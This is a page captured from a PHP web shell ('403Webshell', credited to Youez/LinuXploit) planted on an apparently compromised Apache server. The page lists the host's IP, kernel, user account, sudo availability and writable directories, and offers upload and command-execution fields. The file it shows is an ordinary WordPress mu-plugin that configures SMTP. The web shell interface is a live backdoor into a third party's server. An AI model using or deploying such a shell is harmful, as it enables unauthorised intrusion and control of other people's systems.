403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/wp/shared/platform/mu-plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/wp/shared/platform/mu-plugins/sfp-smtp.php
<?php
/**
 * Plugin Name: SFP SMTP
 * Description: Configures outbound email via SMTP. Reads SMTP_HOST/PORT/USER/PASSWORD/FROM_ADDRESS from wp-config.php constants (or PHP env). Removes the need to configure the WP Mail SMTP plugin via wp-admin per demo. Works with PHPMailer directly — no extra plugin required.
 * Author:      Philip Rehberger
 * Version:     1.0.0
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Read a config value from a wp-config constant or PHP env, in that order.
 */
function sfp_smtp_get( string $key, ?string $default = null ): ?string {
	if ( defined( $key ) ) {
		return (string) constant( $key );
	}
	$env = getenv( $key );
	return ( $env !== false && $env !== '' ) ? $env : $default;
}

add_action(
	'phpmailer_init',
	static function ( $phpmailer ): void {
		$host = sfp_smtp_get( 'SFP_SMTP_HOST' );
		$user = sfp_smtp_get( 'SFP_SMTP_USER' );
		$pass = sfp_smtp_get( 'SFP_SMTP_PASSWORD' );

		// If credentials aren't configured, leave PHPMailer alone (it'll use sendmail / mail()).
		if ( ! $host || ! $user || ! $pass ) {
			return;
		}

		$phpmailer->isSMTP();
		$phpmailer->Host       = $host;
		$phpmailer->Port       = (int) sfp_smtp_get( 'SFP_SMTP_PORT', '587' );
		$phpmailer->SMTPAuth   = true;
		$phpmailer->Username   = $user;
		$phpmailer->Password   = $pass;
		$phpmailer->SMTPSecure = sfp_smtp_get( 'SFP_SMTP_SECURE', 'tls' );
	}
);

add_filter(
	'wp_mail_from',
	static function ( string $email ): string {
		$from = sfp_smtp_get( 'SFP_SMTP_FROM_ADDRESS' );
		return $from ?: $email;
	}
);

add_filter(
	'wp_mail_from_name',
	static function ( string $name ): string {
		$from_name = sfp_smtp_get( 'SFP_SMTP_FROM_NAME' );
		return $from_name ?: $name;
	}
);

Youez - 2016 - github.com/yon3zu
LinuXploit